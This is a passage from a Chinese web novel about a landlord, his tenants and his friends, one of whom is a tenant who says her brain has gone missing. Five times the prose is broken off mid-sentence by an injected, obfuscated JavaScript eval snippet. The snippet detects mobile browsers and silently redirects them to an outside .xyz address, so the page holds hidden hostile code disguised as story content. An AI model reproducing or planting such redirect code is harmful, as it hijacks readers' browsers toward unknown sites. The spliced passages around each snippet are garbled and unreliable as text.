“等其他更重要的事情全都做完后,社区可能才会考虑处理这个。” “而我们都知道,‘事情全都已做完’这在工作中,基本算是一个不存在的状态。” “所以其他楼的天台在以前、现在,以及可预见的未来,一直都是光秃秃的。” “因为怕出事,还常年把进出天台的门锁着。” “锁因为开得太少,都已经生锈了。” 辛远的租户们: “说起来,我们的房东先生在这栋楼上好像是花了不少他本来可以不花的钱。 “天台都还是小钱了,房子里的基础家电,还有定期的保洁,他本来可以不用安排得这么好。” 其他住户们: “因为辛远是把这里当家的啊。” “你们与他虽然是金钱关系,但他也想留一份友情。” “还别说,真让辛远以这种方式建立了一些人脉。” “有些租户住在这里的时间不长,但因为住的经历愉快,对辛远印象不错,所以后来发达了逢年过节时还会送辛远点小礼物。 “如果辛远以后遇到麻烦去求助他们,相信他们至少不会拒绝举手之劳程度的帮忙。” 辛远的租户们: “一个眼光长远的房东。 “并不只看着房租。” 辛远: “……请不要随便拔高我的人设高度。 “我只是希望我自己的生活环境舒适一点而已。 “适当地让利租户也只是为了达成这一核心目标。 “关键是,我收的房租一直完全满足我的生活所需及存款目标。 “如果对待租户们更苛刻一些,我收到的房租是可以增多少许,但我为此付出的心情代价、与租户们的勾心斗角会让我觉得更亏。” 齐促辉: “本质上就是没穷过,所以才有底气将自己的心情而非金钱放在第一位。 “像我就是穷怕了。所以别说心情,我连健康都可以部分牺牲用来交换金钱。 “天天都在赌自己的身体会垮得循序渐进,而不会猝死。” 辛远觉得齐促辉说得很对。 他们辛家的这两代人确实是没吃过穷的苦,所以才总是大手大脚地将一笔又一笔钱赔出去。 相比辛家的其他人,辛远只是少赚点,已经堪称节俭了。 辛远再次确信自己果然是家里最后的底线。 虽然辛远将自己楼的天台打理得很好,但因为楼里没电梯,想上天台就必须先爬七楼,所以除了辛远楼内的高层租户以及不放过任何可以养花种菜地方的几人外,平常到天台上玩的人也不多。 一般差不多就只跟常去天台的猫的数量持平而已。 甚至连辛远自己,除了定期上去检查安全设施外,通常也更喜欢在楼外的院子里待着。 不过天台有一个好处是院子比不上的:视野。 虽然老房子只有七楼,不算太高,但因为方圆几百米内比这更高的楼有限,所以可见范围依然相当不错。 能看到小学操场里闹腾的小孩、菜市场里或匆匆忙忙或挑剔细致的摊贩及顾客、街道上的车辆行人、快递点外大大小小的包裹等。 比起走在地面上时,能看见的更多,但能听见的声音更少,二者是完全不同的感受。 而且天台的空气似乎也比地面的清爽很多。 有严谨的租户说: “不是‘似乎’,我测过,天台的空气质量确实比一楼的好。” “这也可以理解,像是汽车尾气、餐馆油烟什么的,都是在一楼那个高度产生的。 “虽然那些污染会飘向高空,但飘的过程中会被空气稀释,所以我们在七楼之上呼吸到的空气肯定更好。” 辛远: “可得了吧。 “我们这儿虽然不是市中心,但距离郊区也差不多有二十公里。 “也就是,以我们这儿为中心画个半径二十公里的圈,圈内挤满了城市废气。 “它们能怎么被稀释? “这楼要是有十七层,说与地面空气差距巨大也就罢了。 “但它其实只是连电梯都不配安装的七层。 “觉得天台空气更好主要可能是因为天台人少,显得空荡。 “就像学校里的教室与操场,相隔十来米,呼吸的感觉确实很不一样。” 租户: “其实吧,七楼也是可以安装电梯的。” “现在不是有那种加装在楼外的电梯吗? “技术已经非常成熟,实用案例也很多。 “房东你考虑一下。” 租户们觉得这事很有希望。 其他楼想加装电梯需要全楼住户同意,而低楼层住户因为不太用得上,于是很容易拒绝。 哪怕高楼层住户同意低楼层住户不出钱或少出钱,低楼层住户也可能因为嫌弃安装过程妨碍他们进出而不配合。 但辛远这楼就很简单了。 辛远一人拍板就行。 辛远: “考虑过。 “依然在斟酌阶段。 “如果小区的其他楼都不装,只我装,施工方未必愿意来。 “即使来,价钱方面也会偏高。 “而且装了电梯后,其他楼的人想上我楼的天台,是随便他们使用电梯呢,还是设置一些限制呢? “其他楼的人不是我的租户,我不好给他们定规矩,那样一来,如果他们在天台出事……” 租户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16241062|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们继续怂恿: “你可以给你的楼设门禁。 “保证除了本楼住户外,其他谁也进不来。 “反正这楼完全属于你,你想对它做什么改造,只要不违法,都是你一句话的事。” 辛远: “你们不在这里长期住所以不明白,这种老小区,太特立独行了不好。 “我可是好不容易才以如此年轻的条件混入他们中老年群体的。 “电梯一装、门禁一设,他们肯定不会再带我玩了。 “虽然到时候面上客气应该还是会保留,小区里有什么重要事情也不可能不通知我,于是好像我也不是不能生活。 “但那个气氛,我想我应该不会喜欢。 “我这个人,不喜欢太热闹、不喜欢别人太干涉我的私生活,但我也不喜欢太冷清,不喜欢谁也不管我。 “不然我也不会直接跟租户们住在同一栋楼里了。 “很显然的,如果我住到其他地方,只定期在线上让租户们续约交租金,我需要操心的事情起码能少三分之二。” 租户们虽然遗憾,但也表示了理解。 主要是,他们多数确实不会在这里长住。 真要加装电梯,他们未必能等到完工,也就是享受不到成果,还要忍受安装过程的尘土及噪音,所以自然不会执着。 至于长住的几户,即使刚搬来时只有高楼层可选,但住的时间长了后,总能等到低楼层租户搬走,于是早就换到了低楼层租。 比如班玖,刚来时是住七楼,仅住了两个月就搬到了三楼,然后一直在三楼住到现在。 辛远也向王阿姨等人问过加装电梯的事。 王阿姨: “这事吧,要申请得到批准很容易,本来这几年上面就在推进老小区改造工作。 “问题是,在向上面申请之前,需要得到所有住户的同意。 “而我们小区的住户你知道的,上了岁数的人居多。 “虽然他们的经济条件其实基本都不差,拿出几万块完全算不上负担,但都是节省惯了的人,很不乐意花那么一笔钱加装。 “别说低楼层住户了,连六七楼的老家伙们都嚷嚷他们身体好着呢,每天上下楼十几次也轻轻松松,还能顺便锻炼身体。 “所以,没办法。 “你要是实在想装,我可以给你单独申请。” 辛远: “我肯定跟着小区整体规划一起。 “我自己没那么强烈的需求。 “而我的租户们年轻人居多,让他们多爬楼锻炼锻炼也好。” 王阿姨: “现在的年轻人确实应该多锻炼。 “一个个虚的哟。 “就说岳矢,但凡她多长点肉,能只因为踩个平衡车就被错认成女鬼吗?” 辛远: “我看过岳矢的体检报告,她的体重指数确实稍微低了一点。” 王阿姨: “看看看,我就知道。 “等等,你为什么要看她的体检报告? “你现在筛选租户还包括了这项条款? “已经严格到这种程度了?” 看着王阿姨好像开始担心他房子再降价也要租不出去的样子,辛远连忙解释: “目前还没有这项条款。 “我看岳矢的体检报告纯粹是因为,我需要她向我证明她的种族是人类。” 24.24 ☆、狐朋狗友们 辛远: “不过你提醒我了,以后我筛选租户确实可以考虑增加体检项目。 “不用租之前就给我看体检报告,只需要在第一次续租之前给我就行。 “也不需要当月的,体检时间在一年之内都可以。 “这样第一个月的相互磨合期筛选效果应该会更好。” 王阿姨更忧愁了: “小辛啊,选租户不是选结婚对象,你不用这么严格的。” 辛远: “这点要求当然不够选结婚对象。” 王阿姨: “要不你具体说说你对结婚对象的要求? “阿姨给你留意着。” 辛远: “我的要求一直没变啊。 “最重要的一条就是,绝对不能觊觎我这栋楼。 “这是留着给我们辛家人兜底的,绝对不会以任何方式转到其他人名下。 “考虑到现在离婚财产分割的执行案例,我个人倾向于不结婚。 “我完全不想给自己增加失去房子的风险。 “不过谈恋爱、同居,我还是不拒绝的。” 王阿姨面无表情: “那你就继续单着吧。” 过了一会儿,王阿姨突然反应过来: “哎,不是,差点被你转开话题。 “你干嘛要特意确认岳矢是不是人类? “这是需要确认的事情吗? “可别因为岳矢不小心吓到过你你就一直欺负人家小姑娘。 “说人家没脑子什么的。 “虽然看起来岳矢好像不在意,还乐呵呵地跟着玩笑,但谁能说她心里真的不介意呢? “这个年纪的小姑娘面皮薄、胆子小,在一个群体里即使待得不舒服,也不敢太反抗,会强迫自己假装合群。 “我们可不能以‘开玩笑’为借口去那个,霸凌谁。” 辛远: “王阿姨喂,你还记得岳矢搬来我这儿之前,你是怎么对我介绍她的吗? “想想你所知的她与她前房东的交锋。 “你觉得岳矢是那种被人开了恶意玩笑,却会因为怕不合群而勉强赔笑的性格吗?” 王阿姨想了想,点头: “对,她是个会掀桌子的。” 辛远: “她不介意甚至对于‘没脑子’这个玩笑推波助澜,理由很简单,这是她的追求。 “她觉得当一个不用动脑子的生物非常快乐。 “还会羡慕我天台上那些被全楼集体喂养、既拥有自由、又不用费脑子思考如何赚钱糊口的半野猫们。 “虽然有少数人在说岳矢没脑子时,可能是带着嘲弄。 “但岳矢将这类话统统理解成夸奖、祝福,接受得很舒心。” 王阿姨: “这个……跟你们年轻人常说的‘躺’是一回事吗?” 辛远: “挺接近的。 “就是岳矢的说法更直白。” 王阿姨: “我一直觉得我挺跟得上流行的。 “很多网络词汇我都听得懂。 “可我还是得说,即使字面上听得懂,但年轻人的很多心态我是真的理解不了。 “怎么就把骂人的词当夸奖了呢?” 辛远诚恳: “别说你了,我也不是很理解啊。 “所以我才会去查看岳矢的种族嘛。” 王阿姨: “去。这个我可懂,你这也是流行的梗之一。 “什么‘人类这个种族是没希望的’‘某某生物,比如猫,才能拯救世界’。 “属于丧文化的一种。” 辛远: “……不是,‘丧文化’的含义……” 王阿姨一摆手: “不用跟我解释,我懂。 “说不定你这个脱离社会、一天天闲着发霉的提前退休人士还不如我懂。 “毕竟我为了配合社区搞好小区工作,经常还需要理解一些想法奇怪的人,然后才能有针对性地劝服他们。 “这是无法撂挑子不干的重要工作。 “而你,当遇到难以理解的租客时,直接拒绝与他们续约、把他们赶走、眼不见为净就完了。 “你是不会强迫自己千方百计去跟上他们的思路的。” 辛远: “……好的,潮老太太,您说的对。” 辛远确实多数时间都处在宅家仿若发霉的状态中。 偶尔与朋友们出门玩,他也基本不是主动邀请方,而都是被邀请方。 辛远还曾疑惑地问过会邀请他的那些人: “我这么被动的人,你们不是该在邀请几次后,就觉得没意思、把我从你们的朋友圈子里除名吗?” 那些人表示: “一群人一起玩的时候,需要有多种角色。 “包括主角、配角、反派、旁白、观众等。” “不能全是咋咋呼呼、多生事端的主角,那很容易相互掐起来。 “也不能个个都深情投入,那容易思维受限、走入死胡同。” “就是得有一两个参与了、但参与程度不深、能一定程度冷眼旁观的平衡器。” 辛远: “哦,懂了,我是那个万一你们出事时能给你们报警的角色。 “放心,如果我哪天发现你们踩到了法律线上,我一定毫不犹豫、一秒钟都不耽误地把你们交给警方。 “绝不会有任何留情面的为难。 “反正我与你们只是狐朋狗友的关系,本来就没啥情面。” 狐朋狗友们相互表态: “对对对,我们相互确实都是不走心的朋友。” “热衷于相互监督对方的法律底线。” “顺便还可能找机会探究对方家里人有没有谁违法的。” “只要发现违法证据,就立即报警。” “说不定还能不小心给自家扳倒几个竞争对手。 “然后多拿一笔零花钱。 “美哉。” 某一天,以君泗为代表的狐朋狗友们来邀请辛远玩时,突然产生了新的想法。 他们问辛远: “那个把你吓得鬼哭狼嚎、差点把酒和菌子一起戒了的女鬼小姐,今天有空跟我们一起出去吗?” 辛远: “你们甚至不记得她的名字。 “这就是你们邀请的诚意吗?” 君泗: “你好像没跟我们介绍她的名字啊。” 辛远: “非得我介绍? “你们不会自己打听吗? “你们引以为傲的人脉呢? “但凡你们来我小区偷听几次,也不至于连她的姓名都不知道。” 米笙堇: “来你们小区还用‘偷’听? “你们不都是在院子里聊的吗? “而且白天时小区大门敞开,谁进出逗留都没人管。 “这里的安保真的很成问题。” 辛远: “本小区近十年来没发生过盗窃、抢劫。 “也没哪个住户卷入过诈骗案。 “最严重的事件也只是住户互殴,闹到了派出所。 “安全得很。 “尤其比起你们小区连杀人案都发生了两次来,简直人间净土。” 米笙堇: “哎哟,可别提了,我怀疑我那倒霉小区快要发生第三次杀人案了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247699|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>君泗: “所以你还不搬家?” 米笙堇: “要真发生了第三次我指定搬。 “没发生就算我转运了。” 焦萄: “辛远,那位女鬼小姐是住你对门吧? “她现在在家吗?” 辛远: “应该在吧。 “非工作日她都致力于窝在家里发呆。” 焦萄去敲门。 很快,门被岳矢打开。 焦萄立刻露出热情的笑容: “你好,我是辛远的朋友,叫焦萄,葡萄的萄。 “我能知道你的名字吗?” 岳矢: “岳矢。” 焦萄: “好的,岳矢,现在我们就算相互认识了。 “我们一伙人打算去烤羊肉。 “君泗,就那个最高的,今天请客。 “你要跟我们一起去吗?” 岳矢满脸疑惑: “我?” 焦萄: “对,你。 “自从听说你把辛远吓哭了之后,我们就一直挺好奇你。 “之前辛远一直怕你,所以我们也不好邀请你。 “但现在辛远自称对你的心理阴影已经完全消除,那么我们就来正式认识一下吧。” 辛远: “焦萄,你邀请归邀请,能不顺口造我谣吗? “我什么时候被吓哭了? “我那时候明明是吓得根本忘了我还有哭的功能。” 米笙堇: “那要不还是形容成‘吓哭’吧? “感觉怂的程度轻一点。” 岳矢打量这一群人。 辛远估计她是在将她所见的信息传给位于远方的她的大脑,并等待大脑给她结论。 片刻后,岳矢说出结论: “好呀,我跟你们一起去。” 付来顺: “不用勉强。 “你要是觉得跟我们不是一路人,就没必要强行融入我们这个圈子。” 焦萄: “你可省省吧。 “我们什么圈子? “废物富二代圈?” 付来顺: “那也是富二代。 “与普通人的玩乐逻辑都不一样。 “比如最基本的,对钱数额的理解就是两种层次。” 焦萄: “今天君泗请客。 “不需要她出钱。 “她跟着玩就是了。” 付来顺: “君泗只是请烤羊肉。 “中途她要是想买其他东西,难道君泗也会替她掏钱?” 君泗: “你们能自己吵自己的吗? “非拉我下水? “对请客的人能不能有点暂时的尊重?” 岳矢看向辛远,问: “你们会玩犯法的事情吗?” 辛远: “其实对于给他们报警这事,我已经准备多年。 “可惜他们就没哪个有这胆子。” 焦萄对岳矢介绍: “这个以‘富二代’身份为荣的讨厌家伙叫付来顺。 “其实你听他的名字就能猜到,他没什么了不起的身份,父辈只是个暴发户。 “而且还是在付来顺出生后才富起来的。 “付来顺在那个暴发户家里还不受重视。 “他每个月的零花钱就只比辛远收到的房租钱多一点点。” 付来顺: “那也是多。” 辛远: “但我收房租不用求人。 “也不用担心哪天一句话没说妥当就突然被停卡。” 25.25 ☆、相互介绍 焦萄继续对岳矢说: “我们一般去玩其实是不想叫上付来顺的,偏他每次都嗅着味儿凑上来。 “特别地讨厌。 “我们都烦他。” 岳矢: “哦。” 付来顺好像完全没因为被嫌弃而恼怒,甚至还带着一种莫名的骄傲继续讨嫌。 他问岳矢: “你真的不先打听打听跟我们一起出去的消费水平吗? “还是除了吃免费的烤羊肉,你打算一分钱不花? “或者真以为会有人帮你出钱? “甚至倒给你些钱?” 君泗直接扯着付来顺下楼了,并说: “在楼下等你们啊,快点收拾收拾都下来。” 其他人本都是准备好了才来找辛远的,辛远也提前有所准备,所以现在就只有岳矢需要收拾。 十分钟后,岳矢换了身方便活动的打扮,再拿上手机,就可以出发了。 趁着其他人都已下楼、楼上只剩他们两人的机会,辛远给岳矢介绍: “我们这一群人说起来都算是富二代,但各有问题。 “要么是家里已经落魄,要么是家里虽还行但自身在家里没地位。 “所以在钱的方面,其实都没多富裕。 “我就算是其中的中等水平了。 “那几个比我更富的,也富得有限。 “当然,因为他们多数都比我喜欢花钱、喜欢奢侈品,所以外表上看着会比我更光鲜些。 “但只要相处时你自己不想拿外物撑面子,与他们出去你就不需要花超出你日常消费水平的钱。” 岳矢: “没脑子的人是不在乎面子的。” 辛远: “我想也是。 “不过我还是挺惊讶你会同意跟我们出去。 “毕竟只要出门,用脑的频率就怎么都比在家里发呆多。 “难道你是指望靠着‘计划外出行’去偶遇你的脑子?” 岳矢: “有这个因素。 “另外是因为你没阻止,所以我想这事对我有益无害。” 辛远: “这么信任我?” 岳矢: “我的大脑已经判断,你是可以无脑信任的对象。” 辛远: “这话从你嘴里说出来…… “怎么听都不像是夸奖。” 岳矢: “因为这只是单纯地、不带感情倾向地陈述事实。” 在楼下集合后,一行七人分别上了两辆车出发。 其中辛远、岳矢、焦萄和米笙堇一车。 然后,辛远更具体地给岳矢介绍每一个人。 辛远: “焦萄,她已经自我介绍过了,她的雷点是被人叫焦葡。 “在对话中进行自我介绍还好,有些人只看纸面上的文字,好像容易把葡和萄两个字读混。 “反正你记得别叫她焦葡就行。” 焦萄: “你别提醒她。 “本来岳矢可能根本没想到我的名字还能往那个方向叫错。” 辛远不理会焦萄,继续对岳矢介绍: “开车的这个叫米笙堇。 “她在男女关系上有点乱,如果你对那些事没兴趣,就注意远离她。” 米笙堇: “都是你情我愿的呀。” 辛远: “付来顺略过。 “今天请我们吃烤羊肉的君泗,他喜欢分享美食。 “我遇到你那天吃的菌子也是他张罗的。 “剩下那个不怎么说话的叫姚岚。 “我一直怀疑姚岚本心其实完全不想跟我们一起混。 “但因为他反应迟钝,所以每次他们这些人一拉他,他就跟着走了。” 岳矢: “咦?” 辛远秒懂: “姚岚主要是懒。 “既懒得动弹,也懒得反抗。 “脑筋其实转得相当快。 “或者说,就是因为脑速过快,别人说初一,他已经想完了葬礼,才导致他的行动经常跟不上。 “还有,姚岚以有脑子为荣。 “经常看其他人,比如我们这一群,像在看二傻子。 “所以如果之后你感觉姚岚看你的眼神带着怜悯、俯视…… “首先,你可以相信,你没有感觉错,他确实在怜悯你的智商、俯视你的愚蠢。 “其次,你不用跟他计较,因为他不是单针对你一人。” 焦萄: “他是看所有人都像小智障。” 岳矢: “哦。” 辛远: “今天就介绍这些吧。 “以后要是我其他狐朋狗友再扯上你,我再给你介绍。 “其实都是不重要的、随时可能相互翻脸的人,不往脑子里记也无所谓。” 岳矢: “好。” 焦萄有趣地看着辛远和岳矢,说: “感觉你俩好像有一种我们插不进去的默契。” 辛远: “我跟她门对门住着,一天少说见个三五次。 “我跟你一个月能见几回?” 焦萄: “难道我俩不是在好多群里都是群友吗?” 辛远: “哦,对,差点忘了。 “岳矢,你加一下我们今天的这个烤羊肉聚会群。 “我们每次聚会都有单独拉群的习惯,聚会结束后也不解散。 “这样以后如果发现哪次聚会有问题,能有聊天记录查证。” 岳矢: “为报警时刻做着准备?” 辛远: “对,这一点我们是非常认真的。 “就这帮不干正事的富二代,除我之外怎么看都是迟早捅娄子的料。” 米笙堇: “难道非得像你一样天天宅家才叫遵纪守法吗? “可没哪条法律限制我们不许出门。” 辛远: “你要是像你弟一样,出门是为了学习、实习、赚钱,那犯法的风险必然小很多。” 米笙堇: “不捅心窝子不会说话是吧?” 辛远: “本来就是塑料交情。” 焦萄: “岳矢,我给你形容一下我们这一伙人有多塑料。 “付来顺有一次被停卡、没地方可住,我们全部看热闹。 “没有一个人出钱帮他,也没谁收留他到自己家住,全都任由他在路边椅子上过夜。” 辛远补充: “而且当时我楼里还有没租出去的闲置房子。” 焦萄: “米笙堇被某一任男朋友脚踏多条船时,我们发现了,还拉群讨论了,但谁都没告诉米笙堇。” 米笙堇: “只打赌我什么时候能自己察觉。 “直到我当真自己察觉,并教训了那个瘪犊子之后,他们才把那群的内容分享给我看。” 焦萄: “还有君泗被假美食家骗钱、姚岚被恶意竞争失去一个重要机会,当然还有辛远被传播吓哭视频等,我们其他人也都只是看热闹,完全不帮忙。” 辛远: “再说一遍,我没哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260691|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “岳矢当时就站在我面前,她可以给我作证。” 岳矢: “嗯,我可以作证。” 焦萄: “是是是,某人面上是没哭。 “但心里哭了呀。” 辛远: “哟,长本事了,你还能读心了? “搞清楚自己在想什么了吗?” 焦萄: “劳您关心。本人一直研究着呢。” 岳矢: “你们相互都不太喜欢对方吗?” 焦萄: “你说到了重点。 “是的,我们相互从对方身上看到了我们自身失败的点。 “每一次相处都是在更加明确自己的无能。 “看到对方落魄,就想到自己曾经也如此过,或不久后的将来会再次如此。 “不仅不想帮忙,还感到耻辱,根本不想多看对方哪怕一眼。” 岳矢: “但你们却经常约着一起玩?” 焦萄: “因为面对这些同类时,不用伪装,可以肆意说糟糕的话,表现出真实的自己。 “比如付来顺,在面对我们之外的人时,可不会将嫌贫爱富、自视甚高表现得这么直白。 “他能做到尽量委婉。 “虽然他的‘尽量’受限于能力,程度可怜,但‘能不能做到’与‘想不想做到’毕竟是两回事。 “面对我们时,他是不想伪装。” 岳矢: “付来顺在辛远家对我说的那些话,算是伪装之后的成果吗? “我应该算外人吧?” 焦萄: “不。 “虽然从认识时间来说,你确实是外人。 “但因为你与辛远独特的缘分,还因为付来顺发现辛远会随随便便对你说‘没脑子’什么的,所以付来顺认为你已经成为我们这个不用伪装小团体中的一份子。” 岳矢: “因为认为辛远认可了我,所以付来顺就觉得我已经加入了你们? “付来顺这么信任辛远吗?” 米笙堇笑了一声: “确实信任。 “仿若信任自己一般。” 岳矢: “那辛远有没有告诉你们,我其实是真的没脑子呢?” 焦萄哈哈笑: “辛远已经对我们描述过很多遍你揭开头盖骨、露出空颅腔的那一幕了。 “好可惜那天我没有参与他们的菌子火锅宴,不然说不定菌子在我身上也会有这么强力的效果。 “我的酒量和辛远一样差,而那天和辛远一起吃火锅的其他人都是海量,没法与辛远共鸣。” 岳矢懂了:辛远的这些朋友和小区里的其他人一样,依然将那当作辛远的幻觉。 辛远觉得岳矢根本就没道理产生这份怀疑。 他当然不可能把脑子出逃的实情告诉这帮家伙。 即使除开“他们一伙人交情过于塑料”这一点不谈,也得考虑这帮人个个人品很有限、能力很不行。 也就是,如果他们知道了,不仅没可能帮忙找回岳矢出逃的脑子,还可能会让事情复杂化。 辛远也只是在真误以为自己幻觉的那一个月对这些人多说了点岳矢的事。 后来发现自己没幻觉,辛远很庆幸自己已将“这是幻觉”牢牢嵌入了他们的认知里。 之后即使辛远或岳矢自己说漏嘴,他们也会惯性思维,很难发现真相。 其中辛远只担心姚岚可能没这么好糊弄,时间长了他有几率发现。 但好在发现后,以姚岚的惰性,他大概率不会多说,便和没发现也差不多。 26.26 ☆、再次动摇 到了烤羊肉的地方,岳矢与焦萄、米笙堇已经颇为熟悉,很有点抱团的气氛。 付来顺嘲辛远: “让你来跟我们一车,你非要挤进她们女生的车里。 “现在被排挤了,有意思吗?” 辛远纳闷: “你是小学生吗?这么强调男生女生? “非得男孩子跟男孩子玩、女孩子跟女孩子玩? “刚出门时我们六个里岳矢只跟我熟悉,我当然得跟她同车帮助她融入我们的氛围中。” 米笙堇: “你这思路也挺小学生的。 “小孩子第一次走入某个团体,才非得有大人引导。” 焦萄: “你究竟是在怀疑谁的交朋友能力呢?” 岳矢: “辛远主要是担心我没脑子乱说话得罪你们。” 君泗: “他肯定不是这个思路。” 焦萄: “因为我们自己就天天乱说话相互得罪。” 米笙堇: “对,岳矢,你多得罪得罪我们,才更能融入我们。” 付来顺: “但再怎么面上融入,只要身家不够,就始终还是会与我们有隔阂。” 岳矢: “我好像闻到了我脑子的气味。” 除辛远之外的几人诧异: “什么?” 辛远突然产生了一种说不清楚的幸灾乐祸。 一时间连辛远自己都分辨不出他究竟想看谁倒霉。 辛远只能一边叹息“跟这帮狐朋狗友在一起时,我的恶劣面格外活跃”,一边接岳矢的话: “这么说起来,我们没提前告诉你我们的目的地。 “而我们开过来的路上,因为遇到修路,还绕出了一个有点奇怪的路线。 “所以你的脑子确实有可能回避不够及时。” 岳矢: “气味浓度和我第一次见到你时差不多。 “不久前它应该来过这里,但已经离开有一会儿了。 “这次的气味只是飘散在空气中,还有残留在地面等死物上,没有沾到活人身上。 “不知道这是不是我的脑子因为有了前车之鉴而故意回避的结果。 “总之,残留在死物上好像比沾到活人身上时淡得更快。 “进一步降低了被我抓住线索进行追踪的概率。” 焦萄: “等等,这是‘揭开头盖骨’幻觉的后续设定?” 米笙堇: “空颅腔…… “确实应该伴随‘脑子去哪儿了’的问题。 “严谨。” 君泗一边盯着工作人员放置羊肉,一边问: “所以脑子去哪儿了?” 岳矢: “周游世界。 “我在找它,但不顺利。 “因为所有我提前规划过的路线,它都会避开。 “避开的手段还会优化升级。” 君泗: “原来如此。 “我就说对于一群陌生人的邀请,你怎么会答应得那么痛快。 “也不怕我们把你拉来卖了。” 岳矢: “主要还是出于对辛远房东的信任。” 付来顺: “我们进出辛远小区时那么多人看到。 “要是岳矢跟我们出来又没回去,我们一个都逃不掉警方的问话。” 辛远: “虽然我挺想把你们交给警方的,但我可没打算把自己也赔进去。 “我绝对会坚持我的良民人设。” 米笙堇: “比起我们来,你还是小心你们那一家姓辛的吧。 “哪天他们犯下经济问题,指不定会牵连到你。” 焦萄: “比如把你的房产证偷去卖了。” 辛远: “他们要是有犯案的胆子,可能在我出生之前,他们就全进去了。” 虽然其他人都当笑话、聊过便抛开,但岳矢自己还是顺着脑子的气味找了找。 但可惜,残留的脑子气味很淡,而附近羊肉的气味浓郁,岳矢的鼻子又不是很灵,于是很快她便失去了方向。 只能默默坐回到烤羊肉旁边等吃。 付来顺嘲讽: “这就演完了? “我还以为你起码能演到羊肉烤好。 “那才算是勉强合格的助兴。” 岳矢静静地看向他。 看得付来顺莫名有点发寒,问: “干嘛? “不高兴就骂回来啊。 “又没人不准你骂。” 岳矢: “我只是在想,需不需要给你看我的空颅腔,以换你闭嘴。” 辛远: “……” 岳矢: “仔细想想,还是算了。 “你身上没有沾染我大脑的气味。 “你不是被选中的人。 “目前被选中的果然还是只有辛远。” 辛远: “我谢谢你的肯定啊。” 付来顺: “听说过演员保持人设的,但我还是第一次遇到交朋友也要弄出个人设来。” 焦萄: “所以说你们家,尤其你,层次不够呢。 “人际交往时刻意演人设的家伙多了去了。” 付来顺不理会焦萄的打岔,继续专注嘲讽岳矢: “你是不是觉得不演一演你就融入不进我们?” 岳矢: “你要这么说的话,我演这个人设的主要目的应该是融入我住的小区。 “成为我们小区的特色一景。 “在我知道有你们这些人之前,我就已经演了…… “一个多月了吧。” 辛远: “对。 “某些人只是顺便。别太拿自己当回事了。” 付来顺: “虽然没见过卖这种超现实人设的,但装疯卖傻弄好处的人我可见多了。 “我得提醒你辛远,可别被个新奇人设下套,让你那栋楼给人骗去。” 辛远沉思,自他遇到岳矢开始,会不会空颅腔什么的真是一个局? 第一次看到岳矢揭开头盖骨可能确实是巧合的幻觉,但第二次…… 如果是岳矢根据第一次的幻觉故意下套呢? 比如在他吃的外卖、喝的水里下了点什么? 尤其外卖。 因为与送他们那一片的外卖小哥熟,辛远的家门又经常开着,所以辛远通常都是让外卖小哥到了后直接把东西放在他门边的矮柜上。 岳矢经过时有很多下药的机会。 想到此,辛远开口: “提个问题啊。 “现在存在能让人看到特定幻觉的药物吗?” 君泗: “以我的了解,不存在。” 米笙堇: “药物结合特定的催眠手法,再加上布置好的环境,有可能做到。” 辛远: “前提条件太多了。 “单只催眠、不结合其他东西,能做到吗?” 米笙堇: “也许顶级催眠大师可以? “反正我没实际见过。” 付来顺: “你这么问,所以这个岳矢真有可能是诈骗犯?” 听着他们怀疑自己的岳矢不紧不慢地回应: “我只是一个无辜的,弄丢了脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260692|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人。” 付来顺: “呵。” 在一顿美味而各怀心思的用餐之后,大家各回各家。 等辛远开门后,岳矢先走进他家。 揭开头盖骨再给他看了一遍她的空颅腔,然后才转头回到自己家。 辛远: “……” 定了定神,辛远突然觉得事情挺有意思。 第一次见到那个空颅腔时,他觉得极其恐怖,仿佛下一刻就要被夺走小命。 第二次见到时,他在惊悚中又有一些淡定,开始将这当作异常却无害的现象。 而这第三次见到,比起空颅腔本身来,辛远觉得岳矢不打招呼就凑过来让他看的动作才更让他吓一跳。 辛远换了件衣服,去敲开岳矢家的门,提议: “聊聊?” 岳矢点头,让辛远进。 辛远: “不,还是去我家聊吧。 